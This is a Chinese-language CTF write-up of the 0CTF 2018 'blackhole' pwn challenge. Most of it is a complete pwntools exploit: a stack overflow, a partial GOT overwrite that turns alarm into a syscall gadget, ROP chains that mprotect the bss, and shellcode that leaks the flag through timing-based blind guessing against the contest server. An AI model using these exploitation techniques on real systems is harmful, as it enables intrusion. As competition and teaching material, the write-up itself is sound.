[0CTF-2018] blackhole

分析

日哦,一看这题,64位,只有一个read有溢出,syscall禁用了一堆,只留下 open,read,,mprotect,,exit,拿头做题。(懒得放图了,没啥意思)

难道又要将mprotect的地址解析出来去调用???

等等,这题有libc,为啥有libc呢

开了一晚上的脑洞后,惊讶的发现了一件事情:

alarm

最后1byte为0x80时,指向的是alarm,如果是0x85就是syscall!

只需调用read,覆写alarm的got表的最后1byte为0x85,就可以通过syscall调用mprotect了!

啥,x64不会调用3个参数的函数?init函数的那几个gadget了解一下

就这样很轻易的让bss段变成可执行的了。

可是,这题没有回显,考虑使用基于时间的盲注(滚啊!这是pwn题???)

就这样,没啥了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

#context.log_level = 'debug'
context.arch = 'amd64'

def start_new_program():
return process(('./blackhole', ))

def start_new_program():
program = remote('202.120.7.203', 666)
#program = process('./pow.py')
chal = program.recvuntil('\n')[:-1]
log.info(chal)
#sol = p32(0)
for i in xrange(0x100000000):
#break
if sha256(chal + p32(i)).hexdigest().startswith('00000'):
sol = p32(i)
break
log.info(repr(sol))
program.send(sol)
return program


def fuckflag():
# 设置断点
# 可见字符 32--126
flag = ''

for i in range(55, 70):
log.info('flag=' + flag)
l = 32
r = 126
old = None
new = None
while True:
mid = (l + r) // 2
program = start_new_program()
if guess(program, 1, i, mid): # if > mid
l = mid + 1
else:
r = mid
#program.interactive()
program.close()
old = new
new = mid
if old == new:
flag += chr(old)
break
if flag[-1] == '}':
break
log.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
log.info('flag=' + flag)

# sha256(chal + sol).hexdigest().startswith('00000')
# fp = open('out.data', 'wb')
# fp.write(payload)
# fp.close()





def guess(program, op, n, ch):
payload = guess_payload(op, n, ch)
log.info('len=0x%x' % len(payload))
payload = payload.ljust(0x8000 - 1, '\x00')
#payload = ''.ljust(0x8000 - 1, '\x00')
program.sendline(payload)
sleep(0.5)
opc1 = ['=', '>', '<']
opc2 = ['!=', '<=', '>=']
try:
program.sendline('fuck!')
except:
log.info('flag[%d]%s%c' % (n, opc1[op], ch))
return True
log.info('flag[%d]%s%c' % (n, opc2[op], ch))
return False

def guess_payload(op, n, ch):
# 0 相等
# 1 大于
# 2 小于
shellcode1 = asm(shellcraft.amd64.linux.open('flag'))
shellcode1 += asm('''mov rbx, rax''')
shellcode1 +=asm(shellcraft.amd64.linux.read('rbx', 0x601500, 70))
shellcode2 = asm('''
mov rax, 0x%x
xor rbx, rbx
mov bl, byte ptr [rax]
''' % (0x601500 + n, ))
if op == 0:
shellcode2 += asm('''
fuck:
cmp bl, 0x%x
jnz fuck
''' % ch)
elif op == 1:
shellcode2 += asm('''
fuck:
cmp bl, 0x%x
jng fuck
''' % ch)
elif op == 2:
shellcode2 += asm('''
fuck:
cmp bl, 0x%x
jnl fuck
''' % ch)
shellcode3 = asm(shellcraft.amd64.linux.exit(0))
payload = make_shellcode(shellcode1 + shellcode2 + shellcode3)
return payload


def make_shellcode(shellcode):
'''
remote libc
read
.text:00000000000DB6D0 cmp rax, 0FFFFFFFFFFFFF001h

mprotect 0xE44D0
'''
# 0x00601040 alarm got
# 0x0601048 read got
# read(0, 0x00601040, 1) rdi, rsi, rdx
#
#0x0000000000400a53 : pop rdi ; ret

# 初始时rdi=0 rbx=0
payload1 = 'a'*0x20 + p64(1) #rbp=1
# 0x400A4E pop r12; pop r13; pop r14; pop r15 ret;
payload1 += p64(0x400A4c) #
payload1 += p64(0x0601048) # r12
payload1 += p64(1) # r13
payload1 += p64(0x00601040) # r14 alarm got
payload1 += p64(0) # r15
payload1 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
payload1 += 'a'*8 # padding
payload1 += p64(0) # rbx
payload1 += p64(1) # rbp
payload1 += p64(0x0601048) # r12
payload1 += p64(0xa) # r13
payload1 += p64(0x0601068) # r14 bss
payload1 += p64(0) # r15
payload1 += p64(0x04009A7) # overflow again
payload1 = payload1.ljust(0x100, '\x00')


payload2 = '\x85' # 覆盖alarm got最后为0x80 则指向 syscall


payload3 = 'a'*0x20 + p64(1) #rbp=1
payload3 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
payload3 += 'a'*8 # padding
payload3 += p64(0) # rbx
payload3 += p64(1) # rbp
payload3 += p64(0x00601040) # r12 syscall
payload3 += p64(0x7) # r13 0x1+0x2+0x4 rwx
payload3 += p64(0x1000) # r14 size
payload3 += p64(0x601000) # r15 addr
payload3 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
payload3 += 'a'*8 # padding
payload3 += p64(0) # rbx
payload3 += p64(1) # rbp
payload3 += p64(0x0601048) # r12
payload3 += p64(0x200) # r13
payload3 += p64(0x601100) # r14 bss
payload3 += p64(0) # r15
payload3 += p64(0x04009A7) # overflow again
payload3 = payload3.ljust(0x100, '\x00')



payload4 = 'a'*0xa # 修改rax


payload5 = 'a'*0x20 + p64(1) #rbp=1
payload5 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
payload5 += 'a'*8*7 # padding
payload5 += p64(0x601100) # ret to bss
payload5 = payload5.ljust(0x100, '\x00')


payload6 = shellcode
payload6 = payload6.ljust(0x200, '\x00')


payload = payload1 + payload2 + payload3 + payload4 + payload5 + payload6

return payload


def main():
#payload = guess_payload(0, 0, ord('f'))
#log.info(repr(payload))
#fp = open('out.data', 'wb')
#fp.write(payload)
#fp.close()
fuckflag()



if __name__ == '__main__':
main()

附录

附件: blackhole.zip